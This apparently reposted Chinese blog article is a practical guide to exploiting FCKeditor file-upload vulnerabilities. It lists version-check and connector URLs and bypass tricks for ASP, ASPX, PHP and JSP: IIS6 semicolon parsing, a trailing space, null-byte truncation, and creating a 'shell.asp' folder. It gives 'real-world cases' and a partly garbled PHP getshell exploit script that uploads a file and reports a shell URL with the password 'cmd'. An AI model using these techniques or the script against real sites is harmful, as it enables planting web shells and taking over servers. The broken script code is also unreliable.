百度360必应搜狗淘宝本站头条
当前位置:网站首页 > IT知识 > 正文

FCKeditor上传漏洞的总结分析

liuian 2024-12-10 18:04 26 浏览

0x01 FCKeditor简介

FCKeditor是一个专门使用在网页上属于开放源代码的所见即所得文字编辑器。它志于轻量化,不需要太复杂的安装步骤即可使用。它可和PHP、 JavaScript、ASP、ASP.NET、ColdFusion、Java、以及ABAP等不同的编程语言相结合。“FCKeditor”名称中的 “FCK” 是这个编辑器的作者的名字Frederico Caldeira Knabben的缩写。FCKeditor 相容于绝大部分的网页浏览器,像是 : Internet Explorer 5.5+ (Windows)、MozillaFirefox 1.0+、Mozilla 1.3+ 和 Netscape 7+。在未来的版本也将会加入对 Opera的支援。

0x02 判断版本

常见判断版本方法有两个:

/fckeditor/editor/dialog/fck_about.html

/FCKeditor/_whatsnew.html

0x03 上传地址

常用的上传地址A

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp

常用的上传地址B

FCKeditor/editor/filemanager/browser/default/connectors/test.html

FCKeditor/editor/filemanager/upload/test.html

FCKeditor/editor/filemanager/connectors/test.html

FCKeditor/editor/filemanager/connectors/uploadtest.html

0x04 上传方法

ASP版

asp一般是搭在windows主机上,webserver一般为IIS6/IIS7/IIS7.5。据我现在所知,asp版的fckeditor已经可以全秒了。

<2.4.x版本(也就是2.4.x及以下)的File参数时为黑名单验证,可以通过上传.asa、.cer、.asp;jpg(针对IIS6)。如果asa、cer不被解析,还可以传.asp[空格]。传的方法就是抓包然后在数据包里的文件名后填个空格。

2.5.x和2.6.x:如果是IIS6.0 ,可以通过突破变”.”为”_”限制创建.asp文件夹,代码如下:

Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2Fshell.asp&NewFolderName=z.asp

复制代码然后往这个文件夹里传jpg,这个不多说了。

如果是IIS7及以上,这种方法就傻逼了。这个时候可以借助刚爆出来的那种方法,先传shell.asp%00txt,然后再传一次。

至此,asp版本已经全秒了。

ASPX版

低版本同ASP版,2.6.x用刚爆出来的二次上传已经不好使了,不过新建test.asp的文件夹还可以使。一般IIS6.0会支持asp,可以先传个asp上去,然后再XX。

PHP版

1.低版本(2.4.x及以下),仍然为黑名单验证,windows主机可以使用php[空格]传,2.4.3的有个media未设置导致任意文件上传可以秒linux。

2.2.5.x以后是白名单验证,仅能寄希望于wooyun里爆的那个<2.6.4的任意文件上传,成功率有限。

3.2.6.4以上的php版,据我所知没戏,求高人指点!我粗略的看了一下它的验证逻辑,表示没戏,windows里的敏感字符全给过滤了。

0x05 实战案例

【aspx+2.6.4】

1.上传地址:

2.上传shell.asp;.jpg变shell_asp;.jpg,然后继续上传同名文件可变为shell.asp;(1).jpg

3.shell地址:

【PHP+2.4.3】

1.Linux服务器,利用media未设置导致任意文件上传,测试POC为:

' +--------------------------------------------------------------+ NS-ASG Getshell Exploit +--------------------------------------------------------------+ '); if ($argc < 2) { print_r(' +--------------------------------------------------------------+ Example: php '.$argv[0].' localhost +--------------------------------------------------------------+ '); exit; } $host = $argv[1]; $file = 'index.php'; $path = "/admin/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media"; $url = 'https://'.$host.$path; $fp = fopen("$file","w") or die('can not write'); fwrite($fp,""); fclose($fp); $data = array('NewFile'=>'@'. dirname(__FILE__)."/$file"); $curl = curl_init; curl_setopt ( $curl, CURLOPT_URL, $url ); // curl_setopt ( $curl, CURLOPT_SSL_VERIFYPEER, 0 ); curl_setopt ( $curl, CURLOPT_SSL_VERIFYHOST, 0 ); curl_setopt ( $curl, CURLOPT_USERAGENT, "Mozilla/4.0" ); @curl_setopt ( $curl, CURLOPT_FOLLOWLOCATION, 1 ); curl_setopt ( $curl, CURLOPT_AUTOREFERER, 1 ); curl_setopt ( $curl, CURLOPT_POST, 1 ); curl_setopt ( $curl, CURLOPT_POSTFIELDS, $data ); curl_setopt ( $curl, CURLOPT_TIMEOUT, 120 ); curl_setopt ( $curl, CURLOPT_HEADER, 0 ); curl_setopt ( $curl, CURLOPT_RETURNTRANSFER, 1 ); $tmpInfo = curl_exec ( $curl ); if (curl_errno ( $curl )) { echo 'Errno' . curl_error ( $curl ); } curl_close ( $curl ); //echo $tmpInfo; preg_match('/201,\"(.*)\",\"/iU',$tmpInfo,$matchs); $url = 'https://'.$host.$matchs[1]; print 'Shell: '.$url.' password: cmd'; ?>

2.利用方式:php.exe 1.php 202.ip.ip.ip

【JSP+2.2】

1.利用00截断上传,地址如下:

2.上传后抓包并添加00截断如下:

3.shell地址

相关推荐

Optional是个好东西,如果用错了就太可惜了

原文出处:https://xie.infoq.cn/article/e3d1f0f4f095397c44812a5be我们都知道,在Java8新增了一个类-Optional,主要是用来解决程...

IDEA建议:不要在字段上使用@Autowire了!

在使用IDEA写Spring相关的项目的时候,在字段上使用@Autowired注解时,总是会有一个波浪线提示:Fieldinjectionisnotrecommended.纳尼?我天天用,咋...

Spring源码|Spring实例Bean的方法

Spring实例Bean的方法,在AbstractAutowireCapableBeanFactory中的protectedBeanWrappercreateBeanInstance(String...

Spring技巧:深入研究Java 14和SpringBoot

在本期文章中,我们将介绍Java14中的新特性及其在构建基于SpringBoot的应用程序中的应用。开始,我们需要使用Java的最新版本,也是最棒的版本,Java14,它现在还没有发布。预计将于2...

Java开发200+个学习知识路线-史上最全(框架篇)

1.Spring框架深入SpringIOC容器:BeanFactory与ApplicationContextBean生命周期:实例化、属性填充、初始化、销毁依赖注入方式:构造器注入、Setter注...

年末将至,Java 开发者必须了解的 15 个Java 顶级开源项目

专注于Java领域优质技术,欢迎关注作者:SnailClimbStar的数量统计于2019-12-29。1.JavaGuideGuide哥大三开始维护的,目前算是纯Java类型项目中Sta...

字节跨平台框架 Lynx 开源:一个 Web 开发者的原生体验

最近各大厂都在开源自己的跨平台框架,前脚腾讯刚宣布计划四月开源基于Kotlin的跨平台框架「Kuikly」,后脚字节跳动旧开源了他们的跨平台框架「Lynx」,如果说Kuikly是一个面向...

我要狠狠的反驳“公司禁止使用Lombok”的观点

经常在其它各个地方在说公司禁止使用Lombok,我一直不明白为什么不让用,今天看到一篇文章列举了一下“缺点”,这里我只想狠狠地反驳,看到列举的理由我竟无言以对。原文如下:下面,结合我自己使用Lomb...

SpringBoot Lombok使用详解:从入门到精通(注解最全)

一、Lombok概述与基础使用1.1Lombok是什么Lombok是一个Java库,它通过注解的方式自动生成Java代码(如getter、setter、toString等),从而减少样板代码的编写,...

Java 8之后的那些新特性(六):记录类 Record Class

Java是一门面向对象的语言,而对于面向对象的语言中,一个众所周知的概念就是,对象是包含属性与行为的。比如HR系统中都会有雇员的概念,那雇员会有姓名,ID身份,性别等,这些我们称之为属性;而雇员同时肯...

为什么大厂要求安卓开发者掌握Kotlin和Jetpack?优雅草卓伊凡

为什么大厂要求安卓开发者掌握Kotlin和Jetpack?深度解析现代Android开发生态优雅草卓伊凡一、Kotlin:Android开发的现代语言选择1.1Kotlin是什么?Kotlin是由...

Kotlin这5招太绝了!码农秒变优雅艺术家!

Kotlin因其简洁性、空安全性和与Java的无缝互操作性而备受喜爱。虽然许多开发者熟悉协程、扩展函数和数据类等特性,但还有一些鲜为人知的特性可以让你的代码从仅仅能用变得真正优雅且异常简洁。让我们来看...

自行部署一款免费高颜值的IT资产管理系统-咖啡壶chemex

在运维时,ICT资产太多怎么办,还是用excel表格来管理?效率太低,也不好多人使用。在几个IT资产管理系统中选择比较中,最终在Snipe-IT和chemex间选择了chemex咖啡壶。Snip...

PHP对接百度语音识别技术(php对接百度语音识别技术实验报告)

引言在目前的各种应用场景中,语音识别技术已经越来越常用,并且其应用场景正在不断扩大。百度提供的语音识别服务允许用户通过简单的接口调用,将语音内容转换为文本。本文将通过PHP语言集成百度的语音识别服务,...

知识付费系统功能全解析(知识付费项目怎么样)

开发知识付费系统需包含核心功能模块,确保内容变现、用户体验及运营管理需求。以下是完整功能架构:一、用户端功能注册登录:手机号/邮箱注册,第三方登录(微信、QQ)内容浏览:分类展示课程、文章、音频等付费...